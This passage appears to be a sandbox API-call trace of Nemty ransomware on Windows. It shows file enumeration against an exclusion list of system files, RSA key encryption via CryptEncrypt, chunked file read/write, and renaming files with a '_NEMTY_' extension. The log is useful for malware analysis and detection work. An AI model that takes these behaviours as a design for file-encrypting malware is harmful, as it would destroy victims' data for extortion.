lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.009] CloseHandle (hObject=0xffffffff) returned 0 [0100.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0100.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0100.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0100.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0100.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400c0 [0100.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340148 [0100.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0100.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0100.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui._nemty_kgobjgd_")) returned 0 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.010] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="..") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="...") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="windows") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="rsa") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="NTDETECT.COM") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="ntldr") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="MSDOS.SYS") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="IO.SYS") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="boot.ini") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="boot.ini") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="ntuser.dat") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="desktop.ini") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="CONFIG.SYS") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="RECYCLER") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="bootmgr") returned 1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="programdata") returned -1 [0100.010] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2="appdata") returned 1 [0100.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0100.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941a0 | out: hHeap=0x4f90000) returned 1 [0100.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.011] Sleep (dwMilliseconds=0x5) [0100.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef443530, dwHighDateTime=0x1d561e7)) [0100.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef443530, dwHighDateTime=0x1d561e7)) [0100.026] GetLastError () returned 0x5 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.026] GetLastError () returned 0x5 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.026] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94290 [0100.026] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94290, pcchString=0x653ef9c | out: pszString="azfFGBsuKdu746NVvy0lqkTiu+Vtv4Bzsoj17J4pfi8Io7XUnb4ZXF/rQ09KzybV\r\n1Dy1x1iS1dhwKPO3aqCsyn2SVqcxeFRksTtOCFxuBkV73kAQ6UQlcK3tOylxRabY\r\nEPGZKHoZnLCIsb82x+MQA0xXRQrae4jbt/GKd8u9DErlwdeywfPTVkKE3a/LWSE8\r\n3bUOuNp4alOGNRqSGdgcX8DuJF4SXRPrUOKx+ctHyA+kk4671hyDH1MlBKHUFrce\r\nuEn61ews0iMT7paVyTBaPwqs9EPOzMbgZSLl19v5Ghz2wGHiNY73AGs84sA9V7YD\r\noFY0jEl8lOZmuoeAKj7Eng==\r\n", pcchString=0x653ef9c) returned 1 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0100.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94290 [0100.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.026] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.027] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, 